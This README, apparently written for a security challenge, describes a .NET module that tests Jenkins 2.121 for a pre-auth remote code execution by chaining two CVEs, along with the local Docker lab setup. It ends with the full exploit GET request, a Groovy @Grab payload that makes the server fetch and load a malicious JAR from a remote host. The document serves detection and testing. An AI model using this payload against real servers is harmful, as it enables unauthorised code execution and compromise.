Chaining vulnerability CVE-2018-1000861 with CVE-2019-1003000, I created a module to test for a Pre-Auth RCE on Jenkins CI. Initially, I had tried to go about detecting the vulnerability with a username and password and job name; however, I thought it would be more realistic and interesting to go about this challenge chaining the two vunerabilites together.
Have Visual Studio or the .NET Core framework installed on your Windows, Linux, or macOS machine.
- First pulled the specified docker version (from the challenge instructions) from DockerHub:
docker pull jenkins/jenkins:2.121
- Then wrote a bash script (found in this repo) to launch a new docker container running the vulnerable Jenkins server and bind mounted it to the local machine
- Admin User
- username - Naruto
- Password - Uzumaki
- Name - Naruto
- Admin User
- I then navigated to plugins.index.io to find specific plug in versions to install into Jenkins
- Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
- Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
- Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
- Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
- After installing the plugins, navigate to the 'Advanced' section in 'Manage plugins' and clear the Update Site field and save so it doesn't update automatically whenever restarting
- Navigate to the payload directory and run
mvDir.sh
- Run as
./mvDir.sh
- It should already be marked as an executable, if not run
chmod +x mvDir.sh
. If it doesn't work still, you can run it asbash mvDir.sh
- This command will move the directory containing the malicious jar to the root of the computer, which is where the GET request will search when looking for the jar file specified in the malicious request
- It should already be marked as an executable, if not run
- Run as
- Navigate to jenkins_environment and run
./run_vuln_jenkins.sh
- Follow above directions if above command doesn't work.
- This bash script will run the docker container that is hosting the vulnerable jenkins server (on
http://localhost:8080
) - Additionally, running
./run_updated_jenkins.sh
orbash run_updated_jenkins.sh
will spin up a secure, up to date jenkins server running onhttp://localhost:8000
and running the module against this will show that it is secure and not vulnerable to CVE-2018-1000861 chained with CVE-2019-1003000.
- Navigate to exploit-detection-code/jenkins-server-rce/
- This project was built using the .NET Core framework. In order to run first call the command
dotnet build
- Running Module
-
To run module:
dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
- It is important to not forget the
http://
or else the program will throw an HTTP exception and you will have to run it again.
- It is important to not forget the
-
Parameter Options
Shortened Longer Description -uname --username Jenkins username -p --password Jenkins user password -u --url Target url -ip --ip address IP Address -v --verbose Verbose output -
-p
,-uname
have not been implemented yet since I only created the module to detect a pre-auth RCE since I thought it would be more realistic for Detectify because I think that the company's scanner would just be pointed at a target domain (and not have custom parameters such as a password and username since that would also be insecure for another company to give to another even if it is attempting to help improve their security posture).
-
- This project was built using the .NET Core framework. In order to run first call the command
The initial planning that I had created was a good framework for how I went about solving the solution; however, as I went about it I discovered that I was making a lot of the work more complicated than it needed to be. I had initally created a bash script to launch a reverse shell to my host machine to prove RCE. However, the goal of this challenge was to prove that the vulnerability existed. In this instance, it was to prove that RCE could be launched on Jenkins version 2.121.2 with the following plugins: Pipeline: Declarative Plugin to 1.3.4, Pipeline: Declarative Extension Points API to 1.3.4, Pipeline: Groovy Plugin to 2.61 Script Security Plugin to 1.49.
I didn't need to actually create a reverse shell and show that I can launch arbiraty commands. Because of this, it makes it easier to detect on both Windows and .nix
based operating systems. After making the GET request, I found that the page will respond with a status marked as success or it will print an error message. However to ensure that the status success wasn't a false positive, I set up a web server on my host using python -m SimpleHTTPSever 80
and upon launching the custom GET request to the specified malicious JAR file (that can be found in payload
folder), it can be seen that the GET request responds with a 200 status code with the correct path to the jar file that is found on the local machine, proving the vulnerablity exists. Below is a sample of the GET request and the corresponding response. The different files paths (tw/
and www/
) each contain the malicious jar; they are just different paths the request is navigating to find it.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;